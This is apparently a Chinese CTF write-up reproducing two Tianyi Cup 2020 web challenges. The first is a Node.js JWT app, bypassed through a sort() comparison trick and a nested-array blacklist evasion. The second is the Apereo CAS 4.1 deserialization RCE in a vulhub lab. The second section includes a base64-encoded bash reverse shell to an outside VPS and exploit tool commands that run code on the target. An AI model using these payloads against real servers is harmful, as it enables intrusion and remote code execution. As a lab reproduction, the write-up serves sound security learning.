2020天翼杯Web题目复现

2020天翼杯Web题目复现

0x01 API

首先在本地搭建环境,app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
const express = require("express");
const cors = require("cors");
const app = express();
//const uuidv4 = require("uuid/v4"); 本地复现时最新版本的uuid不支持这种写法
const { v4: uuidv4 } = require('uuid');
const md5 = require("md5");
const jwt = require("express-jwt");
const jsonwebtoken = require("jsonwebtoken");
const server = require("http").createServer(app);

const { flag, secret, jwtSecret } = require("./flag");
/*console.log(require("./flag"));
console.log(flag);
console.log(secret);
console.log(jwtSecret);*/

const config = {
port: process.env.PORT || 8081,
adminValue: 1000,
message: "Can you get flag?",
secret: secret,
adminUsername: "kirakira_dokidoki",
whitelist: ["/", "/login", "/init", "/source"],
};

let users = {
0: {
username: config.adminUsername,
isAdmin: true,
rights: Object.keys(config)
}
};

app.use(express.json());

app.use(cors());

app.use(
jwt({ secret: jwtSecret }).unless({
path: config.whitelist
})
);

app.use(function(error, req, res, next) {
if (error.name === "UnauthorizedError") {
res.json(err("Invalid token or not logged in."));
}
});

function sign(o) {
return jsonwebtoken.sign(o, jwtSecret);
}

function ok(data = {}) {
return { status: "ok", data: data };
}

function err(msg = "Something went wrong.") {
return { status: "error", message: msg };
}

function isValidUser(u) {
return (
u.username.length >= 6 &&
u.username.toUpperCase() !== config.adminUsername.toUpperCase() && u.username.toUpperCase() !== config.adminUsername.toLowerCase()
);
}

function isAdmin(u) {
return (u.username.toUpperCase() === config.adminUsername.toUpperCase() && u.username.toUpperCase() === config.adminUsername.toLowerCase()) || u.isAdmin;
}

function checkRights(arr) {
let blacklist = ["secret", "port"];

if(blacklist.includes(arr)) {
return false;
}

for (let i = 0; i < arr.length; i++) {
const element = arr[i];
if (blacklist.includes(element)) {
return false;
}
}
return true;
}

app.get("/", (req, res) => {
res.json(ok({ hint: "You can get source code from /source"}));
});

app.get("/source", (req, res) => {
res.sendFile( __dirname + "/" + "app.js");
});

app.post("/login", (req, res) => {
let u = {
username: req.body.username,
id: uuidv4(),
value: Math.random() < 0.0000001 ? 100000000 : 100,
isAdmin: false,
rights: [
"message",
"adminUsername"
]
};
console.log(u);
if (isValidUser(u)) {
users[u.id] = u;
res.send(ok({ token: sign({ id: u.id }) }));
} else {
res.json(err("Invalid creds"));
}
});

app.post("/init", (req, res) => {
let { secret } = req.body;
let target = md5(config.secret.toString());

let adminId = md5(secret)
.split("")
.map((c, i) => c.charCodeAt(0) ^ target.charCodeAt(i))
.reduce((a, b) => a + b);
console.log(adminId);
res.json(ok({ token: sign({ id: adminId }) }));
});


// Get server info
app.get("/serverInfo", (req, res) => {
console.log(req.user);
let user = users[req.user.id] || { rights: [] };
console.log(user);
let info = user.rights.map(i => ({ name: i, value: config[i] }));
res.json(ok({ info: info }));
});

app.post("/becomeAdmin", (req, res) => {
let {value} = req.body;
let uid = req.user.id;
let user = users[uid];
console.log(user);
let maxValue = [value, config.adminValue].sort()[1];
if(value >= maxValue && user.value >= value) {
user.isAdmin = true;
res.send(ok({ isAdmin: true }));
}else{
res.json(err("You need pay more!"));
}
});

// only admin can update user
app.post("/updateUser", (req, res) => {
let uid = req.user.id;
let user = users[uid];
if (!user || !isAdmin(user)) {
res.json(err("You're not an admin!"));
return;
}
let rights = req.body.rights || [];
if (rights.length > 0 && checkRights(rights)) {
users[uid].rights = user.rights.concat(rights).filter((value, index, self)=>{
return self.indexOf(value) === index;
});
}
res.json(ok({ user: users[uid] }));
});

// only uid===0 can get the flag
app.get("/flag", (req, res) => {
if (req.user.id == 0) {
res.send(ok({ flag: flag }));
} else {
res.send(err("Unauthorized"));
}
});

server.listen(config.port, () =>
console.log(`Server listening on port ${config.port}!`)
);

在app.js目录下新建flag.json,内容如下:

1
2
3
4
5
{
"flag": "flag{mount4in}",
"secret": "1145141919810",
"jwtSecret": "secret"
}

package.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
"name": "api",
"version": "1.0.0",
"description": "",
"main": "app.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC",
"dependencies": {
"cors": "^2.8.5",
"express": "^4.17.1",
"express-jwt": "^5.0.0",
"md5": "^2.3.0",
"uuid": "^8.3.0"
}
}

分析题目,题目是改的HackTM的一道Node Js,较原题添加了一个关于javascript中sort()函数的trick。

image-20200806085223552

接下来分析题目,题目源码引用了jsonwebtoken和express-jwt两个库,jsonwebtoken用来生成jwt,发送给客户端,express-jwt用来解密客户端发送HTTP请求中携带的Authorization字段,然后将解密后的值赋给req.user。如下图的代码,表示除了/, /login, /init, /source这四个路由以外,访问其他路由时都需要带Authorization字段。

image-20200806085727632

首先看如何才能得到flag,

image-20200806085323881

必须要req.user.id为0才可以得到flag,接下来寻找怎么能让user.id为0,看/init路由

image-20200806090112714

上述代码,首先获取请求的secret值,然后将请求输入的secret和源码中config中的secret分别MD5处理,之后将这两个MD5生成的字符串每位分别进行异或,然后将每一位异或得到的结果取和,将和赋给adminId,利用jsonwebtoken进行加密。我们需要得到id为0对应的token,所以需要使这里的adminId为0,当两个相同的数异或得到的结果为0,所以这里需要我们输入的secret和源码中config.secret相同,接下来需要寻找config.secret的值。普通的用户访问/serverinfo得到的信息只有message和adminUsername,所以需要更新权限获得secret。

image-20200806091148515

在/updateUser路由可以根据输入的rights更新用户的权限,但是需要是admin。

image-20200806091329390

看一下isAdmin()函数

image-20200806091539505

大小写应该是绕不过了,看哪里可以修改u.isAdmin,

image-20200806091642147

在/becomeAdmin路由,因为登录时user.value值有很大的概率为100

1
2
3
4
5
6
7
8
9
10
let u = {
username: req.body.username,
id: uuidv4(),
value: Math.random() < 0.0000001 ? 100000000 : 100,
isAdmin: false,
rights: [
"message",
"adminUsername"
]
};

利用sort()函数排序的问题,输入value为2即可绕过,成为admin,然后看checkRights()函数,

image-20200806091346333

这里遍历数组中的每个元素,如果包含secret就不能添加,采用[["secret"]]可以绕过。

image-20200806093341659image-20200806093503900

image-20200806093341659image-20200806093503900

之后利用/serverInfo得到secret,在用/init得到id为1的用户token去访问/flag即可。

解题过程

  1. image-20200806093725700
  2. image-20200806093800754
  3. image-20200806093822275
  4. image-20200806093913761
  5. image-20200806093948710
  6. image-20200806094012071

0x02 apereocas

利用p神的vulhub环境进行复现,

1
2
3
git clone https://github.com/vulhub/vulhub.git
cd vulhub/apereo-cas/4.1-rce/
docker-compose up -d

image-20200806203813868

  • 方法一

Apereo-CAS-Attack

1
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}"

image-20200806204844774

burp发包:

vps:

image-20200806204957401

  • 方法二

CasExp

下载下来需要自己打包才可以用,记录下自己打包mvn项目时踩的坑。

1
git clone https://github.com/potats0/CasExp

配置maven

image-20200808111602995

选择Enable Auto-Import

image-20200808111507624

打包

image-20200808111843296

1
java -jar CasPoc-1.0-SNAPSHOT-jar-with-dependencies.jar http://192.168.35.158:8080/cas/login  "cat /flag"

image-20200808122316103

参考